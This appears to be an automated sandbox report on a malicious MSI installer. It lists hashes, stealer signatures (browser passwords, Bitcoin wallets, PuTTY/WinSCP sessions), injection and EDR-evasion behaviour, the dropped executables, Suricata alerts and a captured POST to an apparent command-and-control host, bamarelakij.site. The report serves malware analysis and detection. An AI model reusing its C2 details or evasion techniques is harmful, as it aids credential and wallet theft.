Edit tour

Windows Analysis Report
cLm7ThwEvh.msi

Overview

General Information

Sample name:	cLm7ThwEvh.msi renamed because original name is a hash value
Original sample name:	e04464a9c2236bdc798c112b4bfbe0d4265fe486154e3601d03e0e60cc1487ab.msi
Analysis ID:	1586709
MD5:	838a6db8b723abe92342cb4d59bd47df
SHA1:	3db057a1d57ff0c543da7cfd6a88e298797f6f9a
SHA256:	e04464a9c2236bdc798c112b4bfbe0d4265fe486154e3601d03e0e60cc1487ab
Tags:	msiuser-crep1x
Infos:

Detection

Score:	84
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

AI detected suspicious sample

Found direct / indirect Syscall (likely to bypass EDR)

Found hidden mapped module (file has been removed from disk)

Maps a DLL or memory area into another process

Switches to a custom stack to bypass stack traces

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Writes to foreign memory regions

Checks for available system drives (often done to infect USB drives)

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query locales information (e.g. system language)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Deletes files inside the Windows folder

Detected non-DNS traffic on DNS port

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops files with a non-matching file extension (content does not match file extension)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Launches processes in debugging mode, may be used to hinder debugging

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries the installation date of Windows

Queries the volume information (name, serial number etc) of a device

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

msiexec.exe (PID: 7556 cmdline: "C:\Windows\System32\msiexec.exe" /i "C:\Users\user\Desktop\cLm7ThwEvh.msi" MD5: E5DA170027542E25EDE42FC54C929077)

msiexec.exe (PID: 7588 cmdline: C:\Windows\system32\msiexec.exe /V MD5: E5DA170027542E25EDE42FC54C929077)

hv.exe (PID: 7688 cmdline: "C:\Users\user\AppData\Local\Temp\Caret\hv.exe" MD5: 480F8CF600F5509595B8418C6534CAF2)

hv.exe (PID: 7716 cmdline: C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe MD5: 480F8CF600F5509595B8418C6534CAF2)

cmd.exe (PID: 7752 cmdline: C:\Windows\SysWOW64\cmd.exe MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7760 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

BrowserSync.exe (PID: 4324 cmdline: C:\Users\user\AppData\Local\Temp\BrowserSync.exe MD5: 967F4470627F823F4D7981E511C9824F)

msedge.exe (PID: 5164 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory="Default" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 5744 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2176 --field-trial-handle=2060,i,4060890081316358745,17659555323180037,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

hv.exe (PID: 7304 cmdline: "C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe" MD5: 480F8CF600F5509595B8418C6534CAF2)

cmd.exe (PID: 7324 cmdline: C:\Windows\SysWOW64\cmd.exe MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7336 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

BrowserSync.exe (PID: 6108 cmdline: C:\Users\user\AppData\Local\Temp\BrowserSync.exe MD5: 967F4470627F823F4D7981E511C9824F)

msedge.exe (PID: 7500 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8176 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2452 --field-trial-handle=2072,i,13775709642536999641,8096999334650349203,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 2936 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6492 --field-trial-handle=2072,i,13775709642536999641,8096999334650349203,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7884 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6516 --field-trial-handle=2072,i,13775709642536999641,8096999334650349203,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

identity_helper.exe (PID: 4916 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6952 --field-trial-handle=2072,i,13775709642536999641,8096999334650349203,262144 /prefetch:8 MD5: 76C58E5BABFE4ACF0308AA646FC0F416)

identity_helper.exe (PID: 6972 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6952 --field-trial-handle=2072,i,13775709642536999641,8096999334650349203,262144 /prefetch:8 MD5: 76C58E5BABFE4ACF0308AA646FC0F416)

msedge.exe (PID: 7972 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6792 --field-trial-handle=2072,i,13775709642536999641,8096999334650349203,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7144 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start /prefetch:5 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8024 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2236 --field-trial-handle=2088,i,11994368559389656704,12979874905001727218,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7100 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start /prefetch:5 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 5700 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2164 --field-trial-handle=2072,i,8788346305401672890,7496721526284428012,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

cleanup

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-09T14:40:51.587697+0100	2028371	3	Unknown Traffic	192.168.2.4	49739	172.67.174.91	443	TCP
2025-01-09T14:40:52.781373+0100	2028371	3	Unknown Traffic	192.168.2.4	49740	172.67.174.91	443	TCP
2025-01-09T14:40:53.657224+0100	2028371	3	Unknown Traffic	192.168.2.4	49741	172.67.174.91	443	TCP
2025-01-09T14:41:11.972479+0100	2028371	3	Unknown Traffic	192.168.2.4	49875	172.67.174.91	443	TCP
2025-01-09T14:41:14.073334+0100	2028371	3	Unknown Traffic	192.168.2.4	49887	172.67.174.91	443	TCP
2025-01-09T14:41:30.446430+0100	2028371	3	Unknown Traffic	192.168.2.4	49994	172.67.174.91	443	TCP
2025-01-09T14:41:31.848159+0100	2028371	3	Unknown Traffic	192.168.2.4	50002	172.67.174.91	443	TCP
2025-01-09T14:41:32.715398+0100	2028371	3	Unknown Traffic	192.168.2.4	50008	172.67.174.91	443	TCP
2025-01-09T14:41:33.518705+0100	2028371	3	Unknown Traffic	192.168.2.4	50012	172.67.174.91	443	TCP
2025-01-09T14:41:34.735492+0100	2028371	3	Unknown Traffic	192.168.2.4	50022	172.67.174.91	443	TCP
2025-01-09T14:41:37.126827+0100	2028371	3	Unknown Traffic	192.168.2.4	50031	172.67.174.91	443	TCP
2025-01-09T14:41:38.392877+0100	2028371	3	Unknown Traffic	192.168.2.4	50042	172.67.174.91	443	TCP
2025-01-09T14:41:43.748534+0100	2028371	3	Unknown Traffic	192.168.2.4	50078	172.67.174.91	443	TCP
2025-01-09T14:41:45.891045+0100	2028371	3	Unknown Traffic	192.168.2.4	50086	172.67.174.91	443	TCP
2025-01-09T14:41:46.727342+0100	2028371	3	Unknown Traffic	192.168.2.4	50093	172.67.174.91	443	TCP
2025-01-09T14:41:47.697622+0100	2028371	3	Unknown Traffic	192.168.2.4	50100	172.67.174.91	443	TCP
2025-01-09T14:41:48.722574+0100	2028371	3	Unknown Traffic	192.168.2.4	50107	172.67.174.91	443	TCP
2025-01-09T14:41:50.292999+0100	2028371	3	Unknown Traffic	192.168.2.4	50118	172.67.174.91	443	TCP
2025-01-09T14:41:51.469578+0100	2028371	3	Unknown Traffic	192.168.2.4	50122	172.67.174.91	443	TCP

HTTP traffic detected: POST /64.htm?hkv47kov=jujLeecKnLDxH4%2Fn3Gf%2FcLOXX1VHlofmE6nbrKOrHhL4GuQ5YkbXRU4eMxxn6chYW44JbQRqTNknnCoZoJ5qDg%3D%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Content-Length: 147Host: bamarelakij.site

Source: hv.exe, 00000002.00000002.1729250490.000000000BFF0000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2075515379.0000000005893000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000000B.00000002.2291662088.0000000004FFC000.00000004.00000800.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000002.2644933726.0000000002700000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDCA-1.crt0
Source: hv.exe, 00000002.00000002.1729250490.000000000BFF0000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2075515379.0000000005893000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000000B.00000002.2291662088.0000000004FFC000.00000004.00000800.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000002.2644933726.0000000002700000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDCodeSigningCA-1.crt0
Source: hv.exe, 00000002.00000002.1729250490.000000000BFF0000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2075515379.0000000005893000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000000B.00000002.2291662088.0000000004FFC000.00000004.00000800.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000002.2644933726.0000000002700000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: BrowserSync.exe, 0000000D.00000003.2548578662.0000000008066000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: BrowserSync.exe, 0000000D.00000003.2548578662.0000000008066000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: BrowserSync.exe, 0000000D.00000003.2382496836.0000000007FD1000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2436327933.0000000002ED3000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2411737644.0000000002ED3000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG3.crt0B
Source: hv.exe, 00000002.00000002.1729250490.000000000BFF0000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2075515379.0000000005893000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000000B.00000002.2291662088.0000000004FFC000.00000004.00000800.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000002.2644933726.0000000002700000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: hv.exe, 00000002.00000003.1701623793.000000000C9EB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: BrowserSync.exe, 0000000D.00000003.2548578662.0000000008066000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: hv.exe, 00000002.00000003.1701623793.000000000C9EB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s
Source: hv.exe, 00000002.00000003.1701623793.000000000C9EB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
Source: hv.exe, 00000002.00000002.1729250490.000000000BFF0000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2075515379.0000000005893000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000000B.00000002.2291662088.0000000004FFC000.00000004.00000800.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000002.2644933726.0000000002700000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDCA-1.crl08
Source: hv.exe, 00000002.00000002.1729250490.000000000BFF0000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2075515379.0000000005893000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000000B.00000002.2291662088.0000000004FFC000.00000004.00000800.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000002.2644933726.0000000002700000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: hv.exe, 00000002.00000002.1729250490.000000000BFF0000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2075515379.0000000005893000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000000B.00000002.2291662088.0000000004FFC000.00000004.00000800.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000002.2644933726.0000000002700000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: BrowserSync.exe, 0000000D.00000003.2548578662.0000000008066000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: BrowserSync.exe, 0000000D.00000003.2548578662.0000000008066000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: BrowserSync.exe, 0000000D.00000003.2382496836.0000000007FD1000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2436327933.0000000002ED3000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2411737644.0000000002ED3000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG3.crl0
Source: hv.exe, 00000002.00000002.1729250490.000000000BFF0000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2075515379.0000000005893000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000000B.00000002.2291662088.0000000004FFC000.00000004.00000800.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000002.2644933726.0000000002700000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/assured-cs-g1.crl00
Source: hv.exe, 00000002.00000002.1729250490.000000000BFF0000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2075515379.0000000005893000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000000B.00000002.2291662088.0000000004FFC000.00000004.00000800.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000002.2644933726.0000000002700000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: hv.exe, 00000002.00000002.1729250490.000000000BFF0000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2075515379.0000000005893000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000000B.00000002.2291662088.0000000004FFC000.00000004.00000800.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000002.2644933726.0000000002700000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDCA-1.crl0w
Source: hv.exe, 00000002.00000002.1729250490.000000000BFF0000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2075515379.0000000005893000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000000B.00000002.2291662088.0000000004FFC000.00000004.00000800.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000002.2644933726.0000000002700000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: hv.exe, 00000002.00000002.1729250490.000000000BFF0000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2075515379.0000000005893000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000000B.00000002.2291662088.0000000004FFC000.00000004.00000800.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000002.2644933726.0000000002700000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: BrowserSync.exe, 0000000D.00000003.2548578662.0000000008066000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: hv.exe, 00000002.00000002.1729250490.000000000BFF0000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2075515379.0000000005893000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000000B.00000002.2291662088.0000000004FFC000.00000004.00000800.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000002.2644933726.0000000002700000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/assured-cs-g1.crl0L
Source: hv.exe, 00000002.00000002.1729250490.000000000BFF0000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2075515379.0000000005893000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000000B.00000002.2291662088.0000000004FFC000.00000004.00000800.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000002.2644933726.0000000002700000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: BrowserSync.exe, 0000000D.00000003.2548578662.0000000008066000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: hv.exe, 00000002.00000003.1701623793.000000000C9EB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#
Source: hv.exe, 00000002.00000003.1701623793.000000000C9EB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
Source: hv.exe, 00000002.00000003.1701623793.000000000C9EB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: BrowserSync.exe, 0000000D.00000003.2382496836.0000000007FD1000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2436327933.0000000002ED3000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2411737644.0000000002ED3000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2548578662.0000000008066000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: hv.exe, 00000002.00000002.1729250490.000000000BFF0000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2075515379.0000000005893000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000000B.00000002.2291662088.0000000004FFC000.00000004.00000800.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000002.2644933726.0000000002700000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: hv.exe, 00000002.00000002.1729250490.000000000BFF0000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2075515379.0000000005893000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000000B.00000002.2291662088.0000000004FFC000.00000004.00000800.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000002.2644933726.0000000002700000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: hv.exe, 00000002.00000002.1729250490.000000000BFF0000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2075515379.0000000005893000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000000B.00000002.2291662088.0000000004FFC000.00000004.00000800.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000002.2644933726.0000000002700000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0L
Source: hv.exe, 00000002.00000002.1729250490.000000000BFF0000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2075515379.0000000005893000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000000B.00000002.2291662088.0000000004FFC000.00000004.00000800.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000002.2644933726.0000000002700000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0O
Source: BrowserSync.exe, 0000000D.00000003.2548578662.0000000008066000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: hv.exe, 00000002.00000003.1701623793.000000000C9EB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0
Source: hv.exe, 00000002.00000002.1729250490.000000000BFF0000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2075515379.0000000005893000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000000B.00000002.2291662088.0000000004FFC000.00000004.00000800.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000002.2644933726.0000000002700000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://s1.symcb.com/pca3-g5.crl0
Source: hv.exe, 00000002.00000002.1729250490.000000000BFF0000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2075515379.0000000005893000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000000B.00000002.2291662088.0000000004FFC000.00000004.00000800.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000002.2644933726.0000000002700000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://s2.symcb.com0
Source: hv.exe, 00000002.00000002.1729250490.000000000BFF0000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2075515379.0000000005893000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000000B.00000002.2291662088.0000000004FFC000.00000004.00000800.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000002.2644933726.0000000002700000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcb.com/sv.crl0a
Source: hv.exe, 00000002.00000002.1729250490.000000000BFF0000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2075515379.0000000005893000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000000B.00000002.2291662088.0000000004FFC000.00000004.00000800.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000002.2644933726.0000000002700000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcb.com/sv.crt0
Source: hv.exe, 00000002.00000002.1729250490.000000000BFF0000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2075515379.0000000005893000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000000B.00000002.2291662088.0000000004FFC000.00000004.00000800.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000002.2644933726.0000000002700000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcd.com0&
Source: hv.exe, 00000002.00000002.1729250490.000000000BFF0000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2075515379.0000000005893000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000000B.00000002.2291662088.0000000004FFC000.00000004.00000800.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000000.2002084435.00000001401E0000.00000002.00000001.01000000.0000000C.sdmp, BrowserSync.exe, 0000000D.00000002.2644933726.0000000002700000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.???.xx/?search=%s
Source: hv.exe, 00000002.00000002.1729250490.000000000BFF0000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2075515379.0000000005893000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000000B.00000002.2291662088.0000000004FFC000.00000004.00000800.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000002.2644933726.0000000002700000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/ssl-cps-repository.htm0
Source: hv.exe, 00000002.00000002.1729250490.000000000BF9A000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2075515379.000000000584A000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000000B.00000002.2291662088.0000000004FB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.info-zip.org/
Source: hv.exe, 00000002.00000002.1729250490.000000000BFF0000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2075515379.0000000005893000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000000B.00000002.2291662088.0000000004FFC000.00000004.00000800.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000000.2002084435.00000001401E0000.00000002.00000001.01000000.0000000C.sdmp, BrowserSync.exe, 0000000D.00000002.2644933726.0000000002700000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.softwareok.com
Source: hv.exe, 00000002.00000002.1729250490.000000000BFF0000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2075515379.0000000005893000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000000B.00000002.2291662088.0000000004FFC000.00000004.00000800.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000000.2002084435.00000001401E0000.00000002.00000001.01000000.0000000C.sdmp, BrowserSync.exe, 0000000D.00000002.2644933726.0000000002700000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.softwareok.de
Source: BrowserSync.exe, 0000000D.00000000.2001985713.0000000140156000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://www.surfok.de/
Source: hv.exe, 00000002.00000002.1729250490.000000000BFF0000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2075515379.0000000005893000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000000B.00000002.2291662088.0000000004FFC000.00000004.00000800.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000002.2644933726.0000000002700000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.symauth.com/cps0(
Source: hv.exe, 00000002.00000002.1729250490.000000000BFF0000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2075515379.0000000005893000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000000B.00000002.2291662088.0000000004FFC000.00000004.00000800.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000002.2644933726.0000000002700000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.symauth.com/rpa00
